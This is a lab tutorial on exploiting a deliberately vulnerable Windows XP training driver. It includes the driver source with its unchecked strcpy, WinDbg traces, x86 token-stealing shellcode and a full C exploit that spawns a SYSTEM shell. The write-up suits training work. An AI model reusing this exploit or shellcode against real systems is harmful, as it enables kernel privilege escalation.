Kernel buffer overflow on Windows

The buffer overflow are cool in user-land but they can be more funny in kernel-land. This time, we will use a buffer overflow to make an escalade privilege to get the SYSTEM rights, so we will could make anything we want on the system. To train us, we don’t need to code a driver by ourself: 0vercl0k have done it for us! So we got the level 1 files and we start our XP VM.

#include <Ntifs.h>

#define ERROR(_f_, _status_) DbgPrint("\r\n[!] Error at %s() : 0x%x\r\n", _f_, _status_)
#define IOCTL_HI CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DbgPrint(...) DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0x1337, __VA_ARGS__)

typedef unsigned int DWORD;
typedef unsigned char* PBYTE;
typedef unsigned char BYTE;

//
DRIVER_UNLOAD Unload;
DRIVER_INITIALIZE DriverEntry;
DRIVER_DISPATCH handleIOCTLs;
DRIVER_DISPATCH handleIRP;
//

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj , PUNICODE_STRING pRegistryPath)
{
    DWORD i = 0;
    NTSTATUS status;
    UNICODE_STRING deviceName = {0}, symlinkName = {0};
    PDEVICE_OBJECT pDevice = NULL;

    pDriverObj->DriverUnload = Unload;
    DbgPrint("[ Loading.. ]\r\n");

    RtlInitUnicodeString(&deviceName, L"\\Device\\1");
    RtlInitUnicodeString(&symlinkName, L"\\DosDevices\\1");

    DbgPrint("[ Creating the device...]\n");
    IoCreateDevice(
        pDriverObj,
        0,
        &deviceName,
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &pDevice
    );

    DbgPrint("[ Linking...]\n");
    IoCreateSymbolicLink(&symlinkName, &deviceName);

    for(; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
        pDriverObj->MajorFunction[i] = handleIRP;

    pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTLs;
    return STATUS_SUCCESS;
}

NTSTATUS handleIRP(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
    return STATUS_SUCCESS;
}

NTSTATUS handleIOCTLs(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    PIO_STACK_LOCATION pIoStackLocation = NULL;
    ULONG ioControlCode = 0, inputBufferLength = 0, inputBuffer = 0;
    BYTE buffer[256] = {0};

    pIoStackLocation = IoGetCurrentIrpStackLocation(pIrp);
    ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
    inputBufferLength = pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength;
    inputBuffer = (ULONG)pIrp->AssociatedIrp.SystemBuffer;

    switch(ioControlCode)
    {
        case IOCTL_HI:
        {
            DbgPrint("[ Let's copying this buffer...]");

            /* ! w00tz ! */
            strcpy(buffer, inputBuffer);
            break;
        }
    }

    IoCompleteRequest(pIrp, IO_NO_INCREMENT);
    return pIrp->IoStatus.Status;
}

VOID Unload(PDRIVER_OBJECT pDrivObj)
{
    DbgPrint("[ Unloading.. ]\n");
    return;
}

It’s easy to see the problem: the copy size in strcpy is not checked!

Tools

To test the driver, we will need the Windows Driver Kit, WinDbg and an assembly code compiler, FASM. To compile with the WDK, we need to make a file with the name makefile:

!INCLUDE $(NTMAKEENV)\makefile.def

Fo a driver, the file sources has this content:

TARGETNAME = level1
TARGETPATH = obj
TARGETTYPE = DRIVER

INCLUDES = %BUILD%\inc
LIBS = %BUILD%\lib

SOURCES = level1.c

And the sources file for a simple .exe:

TARGETNAME=exploit
TARGETTYPE=PROGRAM

INCLUDES=

SOURCES=exploit.c

UMTYPE=console
UMBASE=0x04000000

USE_MSVCRT=1

Debug a VM

In Windows VM, msconfig.exe -> BOOT.ini -> Advanced -> /DEBUG /DEBUGPORT=COM1: and reboot. In VirtualBox, Machine -> Settings -> Serial Ports and configure it. In WinDbg, File -> Kernel Debug... -> COM and click on OK.

Exploitation

Now, we can load our driver with Driver Loader and test our entry:

#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define IOCTL_HI CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DEVICE_NAME "\\\\.\\1"

int main()
{
    DWORD byte = 0, lenMagik = 0, addr = 0;
    HANDLE hDevice = NULL;
    UCHAR magik[1024] = {0};

    memset(magik, 0x90, 276); // Padding
    lenMagik += 276;
    memcpy(magik+276, "\x42\x42\x42\x42\x00", 5); // Shellcode address?
    lenMagik += 5;

    hDevice = CreateFile(DEVICE_NAME, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Error with Createfile : %.8x.\n", GetLastError());
        return EXIT_FAILURE;
    }

    DeviceIoControl(hDevice, IOCTL_HI, magik, lenMagik, NULL, 0, &byte, NULL);
    CloseHandle(hDevice);

    return EXIT_SUCCESS;
}
C:\WinDDK\7600.16385.1>cd C:\driver\level0

C:\driver\level0>build
BUILD: Compile and Link for x86
BUILD: Loading c:\winddk\7600.16385.1\build.dat...
BUILD: Computing Include file dependencies:
BUILD: Start time: Thu Feb 27 09:13:48 2014
BUILD: Examining c:\driver\level0 directory for files to compile.
    c:\driver\level0 Invalidating OACR warning log for 'root:x86chk'
BUILD: Saving c:\winddk\7600.16385.1\build.dat...
BUILD: Compiling and Linking c:\driver\level0 directory
Configuring OACR for 'root:x86chk' - <OACR on>
_NT_TARGET_VERSION SET TO WINXP
Compiling - exploit.c
Linking Executable - objchk_wxp_x86\i386\exploit.exe
BUILD: Finish time: Thu Feb 27 09:13:58 2014
BUILD: Done

    3 files compiled - 1 Warning - 30 LPS
    1 executable built
kd> g
[ Loading.. ]
[ Creating the device...]
[ Linking...]

kd> lm
start    end        module name
804d7000 806cfe00   nt         (pdb symbols)          c:\windows\symbols\xp\exe\ntkrnlpa.pdb
baf7d000 baf7da80   1          (deferred)             

kd> ? $iment(0xbaf7d000)
Evaluate expression: -1158163440 = baf7d410

kd> uf baf7d410
...
1+0x4f7:
baf7d4f7 8b4508          mov     eax,dword ptr [ebp+8]
baf7d4fa c7407020d5f7ba  mov     dword ptr [eax+70h],offset 1+0x520 (baf7d520)
baf7d501 33c0            xor     eax,eax
baf7d503 8be5            mov     esp,ebp
baf7d505 5d              pop     ebp
baf7d506 c20800          ret     8

kd> uf baf7d520
...
1+0x61b:
baf7d61b 32d2            xor     dl,dl
baf7d61d 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
baf7d620 ff150cd8f7ba    call    dword ptr [1+0x80c (baf7d80c)]
baf7d626 8b450c          mov     eax,dword ptr [ebp+0Ch]
baf7d629 8b4018          mov     eax,dword ptr [eax+18h]
baf7d62c 8be5            mov     esp,ebp
baf7d62e 5d              pop     ebp
baf7d62f c20800          ret     8

kd> bp baf7d62f

All is ready ! We !go and WinDbg look like that:

kd> g
[ Let's copying this buffer...]Breakpoint 0 hit
1+0x62f:
baf7d62f c20800          ret     8

kd> dd esp
b9019c38  42424242 8657fc00 863b0700 806d1070
b9019c48  80574d5e 863b0770 8672a420 863b0700

kd> t
42424242 ??              ???

We control EIP! Therefore, we will put a shellcode in userland to make an escalade privilege of our process. After that, we will point EIP to our shellcode and hop, our process have the SYSTEM rights!

Shellcode

Now we need to code a shellcode to swap the SYSTEM token with our process token. To do that, we look for useful structures in Windows kernel:

kd> r fs
fs=00000030

kd> dg fs
                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0030 ffdff000 00001fff Data RW Ac 0 Bg Pg P  Nl 00000c93

kd> dt _KPCR ffdff000
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x01c SelfPcr          : 0xffdff000 _KPCR
   +0x020 Prcb             : 0xffdff120 _KPRCB
   +0x024 Irql             : 0x1c ''
   +0x028 IRR              : 4
   +0x02c IrrActive        : 0
   +0x030 IDR              : 0xffff20d8
   +0x034 KdVersionBlock   : 0x80545ab8 Void
   +0x038 IDT              : 0x8003f400 _KIDTENTRY
   +0x03c GDT              : 0x8003f000 _KGDTENTRY
   +0x040 TSS              : 0x80042000 _KTSS
   +0x044 MajorVersion     : 1
   +0x046 MinorVersion     : 1
   +0x048 SetMember        : 1
   +0x04c StallScaleFactor : 0x64
   +0x050 DebugActive      : 0 ''
   +0x051 Number           : 0 ''
   +0x052 Spare0           : 0 ''
   +0x053 SecondLevelCacheAssociativity : 0 ''
   +0x054 VdmAlert         : 0
   +0x058 KernelReserved   : [14] 0
   +0x090 SecondLevelCacheSize : 0
   +0x094 HalReserved      : [16] 0
   +0x0d4 InterruptMode    : 0
   +0x0d8 Spare1           : 0 ''
   +0x0dc KernelReserved2  : [17] 0
   +0x120 PrcbData         : _KPRCB

kd> dt _KPRCB ffdff000+0x120 
nt!_KPRCB
   +0x000 MinorVersion     : 1
   +0x002 MajorVersion     : 1
   +0x004 CurrentThread    : 0x80552740 _KTHREAD

kd> dt _KTHREAD poi(ffdff000+0x120+0x004) 
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 MutantListHead   : _LIST_ENTRY [ 0x80552750 - 0x80552750 ]
   +0x018 InitialStack     : 0x80549f00 Void
   +0x01c StackLimit       : 0x80546f00 Void
   +0x020 Teb              : (null) 
   +0x024 TlsArray         : (null) 
   +0x028 KernelStack      : 0x80549c4c Void
   +0x02c DebugActive      : 0 ''
   +0x02d State            : 0x2 ''
   +0x02e Alerted          : [2]  ""
   +0x030 Iopl             : 0 ''
   +0x031 NpxState         : 0xa ''
   +0x032 Saturation       : 0 ''
   +0x033 Priority         : 16 ''
   +0x034 ApcState         : _KAPC_STATE

kd> dt _KAPC_STATE poi(ffdff000+0x120+0x004)+0x034 
nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY [ 0x80552774 - 0x80552774 ]
   +0x010 Process          : 0x805529a0 _KPROCESS

kd> dt _EPROCESS poi(ffdff000+0x120+0x004)+0x034+0x10 
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x06c ProcessLock      : _EX_PUSH_LOCK
   +0x070 CreateTime       : _LARGE_INTEGER 0x80552838`00000000
   +0x078 ExitTime         : _LARGE_INTEGER 0x80552740`80552838
   +0x080 RundownProtect   : _EX_RUNDOWN_REF
   +0x084 UniqueProcessId  : (null) 
   +0x088 ActiveProcessLinks : _LIST_ENTRY [ 0x10102 - 0x0 ]
   +0x090 QuotaUsage       : [3] 0
   +0x09c QuotaPeak        : [3] 0x80552fa0
   +0x0a8 CommitCharge     : 0
   +0x0ac PeakVirtualSize  : 0xa0008
   +0x0b0 VirtualSize      : 0
   +0x0b4 SessionProcessLinks : _LIST_ENTRY [ 0x80552838 - 0x80552838 ]
   +0x0bc DebugPort        : (null) 
   +0x0c0 ExceptionPort    : (null) 
   +0x0c4 ObjectTable      : (null) 
   +0x0c8 Token            : _EX_FAST_REF

We could use UniqueProcessId (+0x084), our Token (+0x0c8) and also the linked list ActiveProcessLinks (+0x088) to get the list of all process. In XP, the identifier of SYSTEM process is 4 and we can get our PID with GetCurrentProcessId(). With these information, we can code our shellcode. I have coded mine with the FASM syntax:

format PE GUI 4.0

start:

;--------------------------------
; 			Stack
;--------------------------------
; ESP-8: EPROCESS+0x088 system
;--------------------------------
; ESP-4: EPROCESS+0x088 exploit
;--------------------------------
push 0xFFFFFFFF
push 0xFFFFFFFF

mov edx, [fs:0x124]     ; +0x120 PrcbData : _KPRCB | +0x004 CurrentThread : _KTHREAD			
mov edx, [edx + 0x44]   ; +0x034 ApcState : _KAPC_STATE | +0x010 Process : _KPROCESS
add edx, 0x88           ; +0x088 ActiveProcessLinks : _LIST_ENTRY
mov ebx, edx            ; Our linked list \o/ We save the first structure

searchProcess:
mov eax, [edx - 0x4]    ; +0x084 UniqueProcessId
cmp eax, 0x4            ; SYSTEM PID
je sysProcFound
cmp eax, 0x41414141     ; Our exploit PID
je exploitProcFound

nextProcess:
mov edx, [edx]          ; Next process (Flink)
cmp edx, ebx            ; We are back at the starting point
je retApp				
jmp searchProcess       ; We loop!

sysProcFound:
mov [esp+4], edx
jmp allPIDFound

exploitProcFound:
mov [esp], edx

allPIDFound:
cmp [esp], dword 0xFFFFFFFF
je nextProcess
cmp [esp+4], dword 0xFFFFFFFF
je nextProcess

; We copy the SYSTEM token
pop edi                 ; Exploit
pop esi	                ; System
mov eax, [esi + 0x40]   ; 0xC8 - 0x88 = 0x40 | +0x0c8 Token : _EX_FAST_REF
mov [edi + 0x40], eax

retApp:
xor eax, eax
mov al, 0x3B            ; FS address in userland
mov fs, ax
mov ecx, 0x42424242     ; Stack address
mov edx, 0x43434343     ; Address of our function in our process
sysexit

Final exploit

#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define IOCTL_HI CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DEVICE_NAME "\\\\.\\1"

BYTE shellcode[] =  "\x6A\xFF\x6A\xFF\x64\x8B\x15\x24\x01\x00\x00\x8B\x52\x44\x81\xC2\x88\x00\x00\x00\x89\xD3\x8B"
                    "\x42\xFC\x83\xF8\x04\x74\x0F\x3D\x41\x41\x41\x41\x74\x0E\x8B\x12\x39\xDA\x74\x26\xEB\xE9\x89"
                    "\x54\x24\x04\xEB\x03\x89\x14\x24\x81\x3C\x24\xFF\xFF\xFF\xFF\x74\xE6\x81\x7C\x24\x04\xFF\xFF"
                    "\xFF\xFF\x74\xDC\x5F\x5E\x8B\x46\x40\x89\x47\x40\x31\xC0\xB0\x3B\x8E\xE0\xB9\x42\x42\x42\x42"
                    "\xBA\x43\x43\x43\x43\x0F\x35";
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};  


void replacePattern(char buffer[], int bufferSize, DWORD pattern, DWORD value) {
    BOOL found = FALSE;
    int i;

    for (i = 0; i < bufferSize; i++) {
        if (*(PDWORD)(buffer + i) == pattern) {
            found = TRUE;
            *(PDWORD)(buffer + i) = value;
        }
    }

    return found;
}

// Code to execute with SYSTEM's right
//
void sysCode() {
    si.cb = sizeof(si);

    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
}

int findStack() {
    DWORD stack;

    __asm mov stack, esp

    return stack;
}

int main() {
    DWORD byte = 0, lenMagik = 0, addr = 0;
    HANDLE hDevice = NULL;
    UCHAR magik[1024] = {0};

    addr = VirtualAlloc(0x01010101, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(addr == 0) {
        printf("Error with VirtualProtect : %.8x", GetLastError());
        return EXIT_FAILURE;
    }

    replacePattern(shellcode, sizeof(shellcode), 0x41414141, GetCurrentProcessId());    // Process PID
    replacePattern(shellcode, sizeof(shellcode), 0x42424242, findStack());              // Stack address
    replacePattern(shellcode, sizeof(shellcode), 0x43434343, sysCode);                  // Code to execute with SYSTEM's right
    memcpy(0x01010101, shellcode, sizeof(shellcode));

    memset(magik, 0x90, 276);                       // Padding
    lenMagik += 276;
    memcpy(magik+276, "\x01\x01\x01\x01\x00", 5);   // Shellcode address
    lenMagik += 5;

    hDevice = CreateFile(DEVICE_NAME, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Error with Createfile : %.8x.\n", GetLastError());
        return EXIT_FAILURE;
    }

    DeviceIoControl(hDevice, IOCTL_HI, magik, lenMagik, NULL, 0, &byte, NULL);
    CloseHandle(hDevice);

    return EXIT_SUCCESS;
}